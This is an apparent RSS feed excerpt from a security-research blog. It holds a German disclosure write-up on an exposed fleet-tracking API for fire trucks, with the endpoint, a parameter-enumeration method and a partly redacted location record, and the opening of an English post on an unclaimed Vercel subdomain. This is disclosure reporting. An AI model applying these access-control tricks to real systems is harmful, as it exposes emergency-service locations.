&lt;p&gt;Wer dazu mehr wissen will: Zusammen mit Linus haben wir auf dem rc3 einen Talk zum Melden von Sicherheitslücken gehalten: &lt;a href=&#34;https://rc3.zerforschung.org&#34;&gt;&amp;ldquo;Deine Software, die Sicherheitslücken und ich&amp;rdquo;&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:5&#34;&gt;
&lt;p&gt;Damit sich niemand diese Domain schnappt und damit Unsinn anstellt, haben wir sie sicherheitshalber vor dieser Veröffentlichung reserviert und CanGuard angeboten, sie ihnen kostenlos zu übertragen.&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:6&#34;&gt;
&lt;p&gt;Spannenderweise informierte CanGuard per E-Mail, obwohl im Discord-Post noch behauptet wurde, dass sie durch &amp;ldquo;&lt;em&gt;funktionierenden Datenschutz&lt;/em&gt;&amp;rdquo; gar keine Kenntnis von den E-Mail-Adressen hätten.&amp;#160;&lt;a href=&#34;#fnref:6&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Tatü-Tata, ein Databreach ist da</title>
      <link>https://zerforschung.org/posts/rosenbauer/</link>
      <pubDate>Tue, 08 Aug 2023 17:00:00 +0100</pubDate>
      
      <guid>https://zerforschung.org/posts/rosenbauer/</guid>
      <description>&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/rosenbauer/globus.jpg&#34;
         alt=&#34;zwei Leiterwagen auf einem Globus, in der Mitte ein Kartenpin&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Immer wissen wo es brennt? &lt;del&gt;Da gibts doch was von Ratiopharm?&lt;/del&gt; Früher musste man dazu schon den Behördenfunk abhören oder einen guten Kontakt in der Leitstelle haben. Aber was, wenn dir jedes Feuerwehrauto einfach jederzeit seinen Standort verrät?&lt;/p&gt;
&lt;p&gt;Müssen wir nicht lange drumrumreden: Ist uns passiert. Die ganze Geschichte hier:&lt;/p&gt;
&lt;h2 id=&#34;hilfe-wir-wurden-geinfluenced&#34;&gt;Hilfe, wir wurden geinfluenced&lt;/h2&gt;
&lt;p&gt;Es ist ein Samstagvormittag, kurz nach neun Uhr morgens. Es ist bereits zu warm um etwas Produktives zu tun. Deswegen sitzt das zerforschi lustlos auf der Couch, scrollt so halb aufmerksam durch Instagram. &lt;em&gt;The millenial lifestyle…&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Plötzlich bleibt das zerforschi mit den müden Augen an einem &lt;a href=&#34;https://www.rosenbauer.com/en/at/rosenbauer-world/products/software/operations-management/rds-tracker&#34;&gt;sichtbaren QR-Code auf einem komisch aussehenden Gerät&lt;/a&gt; hängen.&lt;/p&gt;
&lt;p&gt;Die müden Augenlider heben sich langsam, der antrainierte Werbeblocker im Hirn funktioniert plötzlich nicht mehr und wird von Interesse überdeckt. Es stellen sich zwei entscheidende Fragen, die in diesem Moment wichtiger werden als alles andere:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Warum ist Instagram der Meinung, dass ich die richtige Zielgruppe für GPS-basiertes Flottentracking für Feuerwehrautos bin?&lt;/li&gt;
&lt;li&gt;Was steckt hinter dem QR-Code?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Neugierig klappt das zerforschi seinen Laptop auf und öffnet ein Bildbearbeitungsprogramm. Hier wird mit ein paar Klicks der QR-Code aus dem Post ausgeschnitten, großgezoomt und geradegerückt. Jetzt nochmal probieren, den QR-Code zu scannen – und es klappt!&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/rosenbauer/löwen.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/rosenbauer/löwen.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;h2 id=&#34;neugierde-geweckt&#34;&gt;Neugierde? Geweckt!&lt;/h2&gt;
&lt;p&gt;Der Link hinter dem QR-Code führt tatsächlich auf die Weboberfläche der Flottentracking-Software: &amp;ldquo;Rosenbauer Connected Fleet&amp;rdquo;. Dort erfährt das zerforschi:
Rosenbauer, mit dem Sitz im schönen Leonding in Österreich, ist einer der weltweit größten Hersteller von Feuerwehrfahrzeugen und bietet hier eine Anwendung an, um die eigenen Einsatzfahrzeuge immer im Blick zu behalten. Aber Moment: Nur die eigenen?&lt;/p&gt;
&lt;p&gt;Zuerst wird das zerforschi von einer Login-Maske begrüßt 👋. Zugangsdaten hat es natürlich keine – das ist aber schnell geklärt: Es kann sich einen Account erstellen.
Der hilft aber erstmal auch nicht weiter. Denn der frisch erstellte Account ist keiner Organisation zugeordnet, und hat damit keinen Zugriff auf die spannenden Teile der Anwendung.&lt;/p&gt;
&lt;p&gt;Jedenfalls auf den ersten Blick…&lt;/p&gt;
&lt;p&gt;Denn moderne Webanwendungen wären für uns nur halb so spannend, wenn es nicht das Konzept einer &amp;ldquo;Single-Page-Application&amp;rdquo; geben würde. Das heißt: Alle Funktionalität steckt in einer einzigen Webseite, ohne dass bei jeder Aktion die ganze Seite neu geladen werden muss.&lt;/p&gt;
&lt;p&gt;Die benötigten Informationen werden von der Anwendung im Hintergrund über Schnittstellen geladen und auf der Seite nur die Elemente ausgetauscht, die sich ändern. Das ist an sich nichts Besonderes, und schon seit mehr als zehn Jahren so üblich. Hat für uns aber einen besonderen Vorteil: Beim Öffnen der Webanwendung wird der Programmcode für die verschiedenen Aktionen oder Datenanzeigen schon geladen. Und da in diesem Fall die Fehlermeldung &amp;ldquo;keine Organisation zugeordnet&amp;rdquo; Teil der Anwendung ist, bekommen wir den gesamten Programmcode serviert. Praktisch.&lt;/p&gt;
&lt;p&gt;Und dieser Code enthält natürlich die Adressen der Schnittstellen (APIs), von denen sich die Anwendung die Daten lädt.&lt;/p&gt;
&lt;p&gt;Im Falle von Rosenbauer Connected Fleet müssen wir den meisten API-Aufrufen eine Organisations-ID mitgeben. Die haben wir natürlich nicht, weil wir ja keiner Organisation zugeordnet sind.&lt;/p&gt;
&lt;p&gt;Aber was ist das? Der Endpunkt &lt;code&gt;/api/fleet/v1/firehub/telematic&lt;/code&gt; hat keinen Parameter für die Organisations-ID.&lt;/p&gt;
&lt;p&gt;Wir rufen diese Schnittstelle mit unserem erstellten Account auf und… bekommen Daten zurück. Einhundert Datensätze – worin sich unter anderem befinden:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Geodaten mit genauen Koordinaten (also Längen- und Breitengrad) des Trackers im Fahrzeug&lt;/li&gt;
&lt;li&gt;die zugewiesene Organisation wie beispielsweise Betreiber von Flughäfen&lt;/li&gt;
&lt;li&gt;das zugewiesene Fahrzeug&lt;/li&gt;
&lt;li&gt;der Gerätetyp
&lt;ul&gt;
&lt;li&gt;relativ häufig von den Herstellern &lt;em&gt;Aplicom&lt;/em&gt; oder &lt;em&gt;Sitec&lt;/em&gt; – eine schnelle Suche verrät uns, dass sich es dabei um fest in den Fahrzeugen verbaute Geräte handelt&lt;/li&gt;
&lt;li&gt;außerdem Drohnen und Fernbedienungen vom Drohnen-Weltmarktführer DJI&lt;/li&gt;
&lt;li&gt;und eben die kleinen Stecker für die großen Einsatzfahrzeuge, wofür wir den Instagram-Post angezeigt bekommen haben und überhaupt erst neugierig wurden&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ein Notizfeld
&lt;ul&gt;
&lt;li&gt;darin auch: wenig verständliche Daten – vermutlich Testdatensätze&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;moduleGUID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████-████-████-████-████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;imei&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;serialNumber&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Sitec S7&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;lat&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;52.5326376&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;lng&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;13.284193&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;tsLocationUpdated&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2023-07-25T06:34:09.000Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;detectedFirmware&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;detectedVehicleIdentifier&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;imsi&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;notice&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;assignedVehicle&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;L32 Berlin (B-2307)&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;assignedOrganisation&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Berliner Feuerwehr&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Und genau zu diesem Fahrzeug finden wir sogar &lt;a href=&#34;https://bos-fahrzeuge.info/einsatzfahrzeuge/161268/Florian_Berlin_DLK_23-12_B-2307/photo/497237&#34;&gt;Fotos im Internet&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;-immer-genau-einhundert&#34;&gt;💯 Immer genau einhundert?&lt;/h2&gt;
&lt;p&gt;Dabei fällt uns auf, dass wir genau einhundert Datensätze sehen, also die Informationen zu einhundert Trackern. Es ist eher unwahrscheinlich, dass die Software nur exakt 100 Tracker verwaltet. Dazu ist die Zahl viel zu genau und zwar klingt das schon nach vielen – aber alleine die Berliner Feuerwehr hat schon mehr als 1000 Fahrzeuge. Wir rechnen also damit, dass in der Software noch viel mehr Tracker verzeichnet sein müssten.&lt;/p&gt;
&lt;p&gt;Gleichzeitig findet sich im Code der Single-Page-Application noch der Parameter &lt;code&gt;?q=&lt;/code&gt; für die &lt;code&gt;telematic&lt;/code&gt;-Schnittstelle. Wenn man hier z.B. Ziffern von 00 bis 99 durchprobiert, gibt es jeweils andere Ergebnisse.
Und hier wird es noch spannender.&lt;/p&gt;
&lt;p&gt;In den Ergebnissen tauchen verschiedene Institutionen auf, beispielsweise&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Feuerwehren&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Magistrat der Stadt Wien MA 68 - Feuerwehr und Katastrophenschutz / Berufsfeuerwehr Wien (Österreich)&lt;/li&gt;
&lt;li&gt;Berliner Feuerwehr&lt;/li&gt;
&lt;li&gt;Landeshauptstadt Düsseldorf Feuerwehr und Rettungsdienst&lt;/li&gt;
&lt;li&gt;Feuerwehr Aachen&lt;/li&gt;
&lt;li&gt;Stadt Oberhausen Berufsfeuerwehr&lt;/li&gt;
&lt;li&gt;Hansestadt Lübeck&lt;/li&gt;
&lt;li&gt;Feuerwehr Karlsruhe Abt. Neureut&lt;/li&gt;
&lt;li&gt;Gemeinde Stockelsdorf&lt;/li&gt;
&lt;li&gt;Stadtfeuerwehr Imst (Österreich)&lt;/li&gt;
&lt;li&gt;Romanian General Inspectorate for Emergency Situations&lt;/li&gt;
&lt;li&gt;City of Los Angeles Supply Services (USA)&lt;/li&gt;
&lt;li&gt;Surrey Fire &amp;amp; Rescue Service Headquarters&lt;/li&gt;
&lt;li&gt;Staffordshire Fire &amp;amp; Rescue Service Headquarters&lt;/li&gt;
&lt;li&gt;Tehran Fire Services (Iran)&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Betriebsfeuerwehren&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Henkel AG &amp;amp; Co.KGaA&lt;/li&gt;
&lt;li&gt;Betriebsfeuerwehr Industriepark Schwechat GmbH&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Flughafen-Feuerwehren&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Flughafen Dresden GmbH 12&lt;/li&gt;
&lt;li&gt;Flughafen Hannover-Langenhagen GmbH&lt;/li&gt;
&lt;li&gt;Schiphol Group Nederland B.V. (Niederlande)&lt;/li&gt;
&lt;li&gt;Glasgow International Airport (Schottland)&lt;/li&gt;
&lt;li&gt;Leeds and Bradford International Airport (Vereinigtes Königreich)&lt;/li&gt;
&lt;li&gt;Finavia Oyj (formerly Finnish Civil Aviation Administration, Finnland)&lt;/li&gt;
&lt;li&gt;Hovedstadens Beredskab (Feuerwehr für Kopenhagen und umliegend, Dänemark)&lt;/li&gt;
&lt;li&gt;Office National des Aéroports Aéroport Mohammed V – Nouasseur (Flughafen Casablanca, Marokko)&lt;/li&gt;
&lt;li&gt;Aéroport de Bâle Mulhouse Service Comptabilité (Flughafen Basel Mulhouse Freiburg, Frankreich)&lt;/li&gt;
&lt;li&gt;Avinor Alta Airport (Norwegen)&lt;/li&gt;
&lt;li&gt;Gibraltar International Airport Fire and Rescue Service&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Militär&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Armasuisse (Schweizer Militär)&lt;/li&gt;
&lt;li&gt;Bundesamt für Ausrüstung, Informationstechnik und Nutzung der Bundeswehr&lt;/li&gt;
&lt;li&gt;Latvian National Armed Forces Aviation base&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Mindestens 356 Organisationen tauchen in den Daten auf – mit insgesamt mehr als 4300 Fahrzeugen. 🤯&lt;/p&gt;
&lt;p&gt;Langsam wird es wirklich unheimlich. Um herauszufinden, welche Institutionen weltweit von dem Problem betroffen sein könnten, schauen wir uns die Koordinaten aus den Datensätzen auf einer Karte an.
Dabei zeigt sich: Im Trackerverzeichnis finden sich nicht nur Feuerwehren in ganz Europa, sondern in der ganzen Welt.
Außerhalb Deutschlands meist auf Flughäfen.
Außerdem scheint die Firma auch Kunden im Iran zu haben – trotz der &lt;a href=&#34;https://www.tagesschau.de/thema/iran&#34;&gt;politischen Situation dort&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;heading&#34;&gt;💔&lt;/h2&gt;
&lt;p&gt;Mittlerweile ist es nachmittags, der Puls des kleinen zerforschis ist ziemlich hoch, das Herz klopft: So viele Organisationen sind betroffen – europa- und sogar weltweit. Panik macht sich breit: Das sollte so nicht sein!
Deshalb öffnet das zerforschi das Textprogramm, schreibt alle Funde umfassend in einem Bericht auf – inklusive einer technischen Problembeschreibung und sucht nach dem Kontakt zur IT-Sicherheitsbeauftragen auf der Website.
Nur um traurig festzustellen: Auch Rosenbauer als weltweit tätiges, führendes Unternehmen in einem durchaus sicherheitsrelevanten Bereich hat weder eine security.txt&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;, noch nennen sie eine Ansprechpartnerin dafür irgendwo auf der Kontaktseite.
Enttäuscht wirft das zerforschi noch einmal einen vorsichtigen Blick in &lt;!-- das businesspeople-kreiswichsnetzwerk --&gt; LinkedIn - aber auch dort: wohl niemand für Sicherheit zuständig.&lt;/p&gt;
&lt;p&gt;Desillusioniert schickt das zerforschi also den Report an das österreichische CERT&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;, das deutsche CERT beim BSI und die zentrale &lt;code&gt;office@&lt;/code&gt;-Mailadresse von Rosenbauer - und fragt sogar einen Tag später nochmal telefonisch nach, ob der Report denn angekommen wäre. »Ja, ja«, versichert man uns, es wurde »zum Kollegen weitergeleitet. Die Durchwahl oder Mailadresse darf ich ihnen aber nicht geben«, bekommen wir als Antwort. Hm.&lt;/p&gt;
&lt;h2 id=&#34;fazit&#34;&gt;Fazit&lt;/h2&gt;
&lt;p&gt;Weil wir von der Firma Rosenbauer trotz schriftlicher Bitte und telefonischer Nachfrage keine Antwort auf unseren Bericht bekommen haben, zweifeln wir auch stark an, dass sie allen betroffenen Kunden Bescheid geben.
Dass unser Report angekommen sein muss, haben wir erst auf Nachfrage von den Journalist*innen erfahren, mit denen wir den Fund geteilt haben. Auch ob die Lücke bereits geschlossen ist, hat uns Rosenbauer nicht selbst mitgeteilt - zumindest unseren Fund konnten wir nun nicht mehr reproduzieren.&lt;/p&gt;
&lt;p&gt;Diese Form der Nicht-Kommunikation mit Menschen, die eine Sicherheitslücke melden, passiert uns wirklich selten. Insbesondere für ein Unternehmen dieser Größe ist diese Art echt überraschend und wirklich nicht angebracht (aber das wäre sie nie!).&lt;/p&gt;
&lt;p&gt;Ob Rosenbauer ihren vielen Kunden auch so schlecht kommuniziert, dass die Daten ihrer Tracker offen im Netz rumlagen?&lt;/p&gt;
&lt;h2 id=&#34;heading-1&#34;&gt;📰&lt;/h2&gt;
&lt;p&gt;Wir haben diesen Fund gemeinsam mit Muzayen, Hakan und Hannes veröffentlicht. Ihre Artikel findet ihr &lt;a href=&#34;https://www.spiegel.de/netzwelt/netzpolitik/rosenbauer-feuerwehr-zulieferer-gab-sensible-informationen-preis-a-00c44926-d97c-4724-8f57-6a15a0d8025c&#34;&gt;beim Spiegel (💶)&lt;/a&gt;, &lt;a href=&#34;https://www.derstandard.at/story/3000000182036/datenleck-legte-standorte-von-feuerwehrautos-offen&#34;&gt;bei derStandard&lt;/a&gt; und &lt;a href=&#34;https://www.zdf.de/nachrichten/wirtschaft/daten-hacker-feuerwehr-app-rosenbauer-100.html&#34;&gt;beim ZDF&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Das Finden der Sicherheitslücke hat zwar nicht lange gedauert, das Aufschreiben, Melden und Veröffentlichen aber um so länger. Außerdem ist das Gefühl, panisch in eine schweigende Mailbox zu schrei(b)en auch wenig spaßig.
Wir würden in unserer Freizeit gerne auch schönere Dinge tun. Wenn ihr uns unterstützen wollt, findet ihr hier Möglichkeiten: &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;https://zerforschung.org/unterstuetzen/&lt;/a&gt;. Danke!
&lt;/div&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Was eine security.txt ist und warum das für IT-Sicherheitsforschende wie uns so wichtig ist, haben wir auch ausführlich &lt;a href=&#34;https://zerforschung.org/posts/rc3-2021/&#34;&gt;hier&lt;/a&gt; erklärt. Oder Kurzfassung &lt;a href=&#34;https://securitytxt.org/&#34;&gt;hier&lt;/a&gt;.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;Computer Emergency Response Team - das sind IT-Sicherheitsfachleute, die bei der Lösung von konkreten Problemfällen unterstützen, sich aber auch allgemein mit dem Thema beschäftigen, also auch über Sicherheitslücken und Lösungsansätze informieren&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>How we tried to book a train ticket and ended up with a databreach with 245,000 records</title>
      <link>https://zerforschung.org/posts/freundschaftspass-en/</link>
      <pubDate>Mon, 19 Jun 2023 06:50:10 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/freundschaftspass-en/</guid>
      <description>&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/freundschaftspass/fr-de-freundschaftspass-titel.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/freundschaftspass/fr-de-freundschaftspass-titel-small.jpg&#34;
         alt=&#34;A model of a steam locomotive with French and German flags,a Trans-Europ-Express wagon attached. The train is losing tickets&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;a href=&#34;https://zerforschung.org/posts/freundschaftspass-de/&#34;&gt;Dieser Artikel ist auch auf deutsch erschienen&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;To celebrate Franco-German friendship, German Transport Minister Wissing and his French counterpart Beaune came up with something special:
&lt;a href=&#34;https://bmdv.bund.de/SharedDocs/EN/PressRelease/2023/052-wissing-franco-german-friendship-pass-available.html&#34;&gt;30,000 free Interrail tickets&lt;/a&gt; per country for travel in Germany and France for young adults between 18 and 27.
Codename: &amp;ldquo;Passe France Allemagne&amp;rdquo;&lt;/p&gt;
&lt;p&gt;However, many things went wrong when the Interrail passes were distributed.
In the following, we want to take you on a journey through the stages of the not-so-well-implemented ticket and show you how you could still get a pass after registration ended.&lt;/p&gt;
&lt;p&gt;And while we&amp;rsquo;re on the tracks, we&amp;rsquo;ll also have a look at a security breach in a similar project at the EU level.
Implemented by the same agency - which left the data of about 245,000 registrations almost unprotected on the web.&lt;/p&gt;
&lt;p&gt;Please stand clear of the doors – we&amp;rsquo;re departing! 🚄🚃🚃🚃🚃&lt;/p&gt;
&lt;h1 id=&#34;station-1-the-town-of-ddosing&#34;&gt;Station 1: The town of DDoSing&lt;/h1&gt;
&lt;p&gt;On June 12 at 10am, the registration for the &amp;ldquo;Passe France Allemagne&amp;rdquo; opened - and the servers were immediately overloaded.&lt;/p&gt;
&lt;p&gt;The rush could have been expected, as the tickets were distributed on a &amp;ldquo;first come, first served&amp;rdquo; basis.
Anyone who wanted a chance to get one of the coveted tickets had to be quick.
As a result, tens of thousands of users in Germany and France tried to get their hands on the pass at 10 a.m. on the dot.&lt;/p&gt;
&lt;p&gt;Of course, setting up a system that can handle such a rush is not trivial.
But it is possible!
Organizers of concerts by popular bands and artists, for example, are familiar with similar situations - and can usually cope with them.&lt;/p&gt;
&lt;p&gt;Something like this has to be well thought out, prepared and tested.
If they had done that properly, they would have realized: Damn, we can&amp;rsquo;t handle so many people - and (hopefully) would have thought of another solution.&lt;/p&gt;
&lt;p&gt;After all, there are alternatives to the &amp;ldquo;first come, first served&amp;rdquo; principle:
Instead of putting everything on a moment&amp;rsquo;s notice, you can spread the sale over several points in time.
This not only spreads out the rush - it also allows people to attend who don&amp;rsquo;t have time on a Monday at 10 a.m., for example because they&amp;rsquo;re at school, in training or at university.&lt;/p&gt;
&lt;p&gt;In such a system, you can also give interested people a few days to register and then distribute the passes at random amongst all who registered.&lt;/p&gt;
&lt;p&gt;Because one thing is for certain: Overloaded servers are not a sign of the success of a campaign, but a sign of failure in planning.&lt;/p&gt;
&lt;h2 id=&#34;station-2-password-reset-city&#34;&gt;Station 2: Password-Reset-City&lt;/h2&gt;
&lt;p&gt;While we were still angry about this failure, we got a hint by mail:
This wasn&amp;rsquo;t the only part of the platform that wasn&amp;rsquo;t properly thought out and tested.&lt;/p&gt;
&lt;p&gt;How did this show?
The lucky few who were able to secure a pass had to provide an email address and come up with a password.
With that combination, they could then log into the site to check for the status of their &amp;ldquo;Passe France Allemagne&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s easy to forget or mistype a password - especially when things need to happen quickly.
Fortunately, the &amp;ldquo;Forgot Password?&amp;rdquo; function was invented for such situations.
And as usual, you receive an e-mail from the &amp;ldquo;Passe France Allemagne&amp;rdquo; with a link to reset your password.
What is unusual, however, is that this link leads to an error page:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/freundschaftspass/vercel-404.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/freundschaftspass/vercel-404.png&#34;
         alt=&#34;Screenshot of a 404 error page: &amp;#39;deutschebahn-sncf-form.vercel.app might be available. Click here to learn how to assign it to a project&amp;#39;&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;If we take a closer look at the error page, we see that it links to a Vercel project that is not registered.
Vercel is a cloud provider where you can host your own web applications.
These applications are then available under &lt;code&gt;&amp;lt;project name&amp;gt;.vercel.app&lt;/code&gt;.
However, if no project is registered with the corresponding name, as is the case here, basically anyone can hijack the address.&lt;/p&gt;
&lt;p&gt;Such an hijacked application address could then for example be used for targeted phishing.
Fortunately, it was an honest person who found the mistake, registered the application themself and told the responsible organisations and us.
Thus, the link to the &amp;ldquo;Forgot Password?&amp;rdquo; function only leads to a harmless test page.
This page still does not belong to the organizers of the &amp;ldquo;Passe France Allemagne&amp;rdquo;, but at least to a friendly person and not to criminals.&lt;/p&gt;
&lt;h2 id=&#34;station-3-free-tickets-for-all-avenue&#34;&gt;Station 3: Free-tickets-for-all-avenue&lt;/h2&gt;
&lt;p&gt;This brings us to the next stop on our journey:
The ordering process.&lt;/p&gt;
&lt;p&gt;Since only 30,000 passes were supposed to be given out, the ordering system has to pay close attention to that.
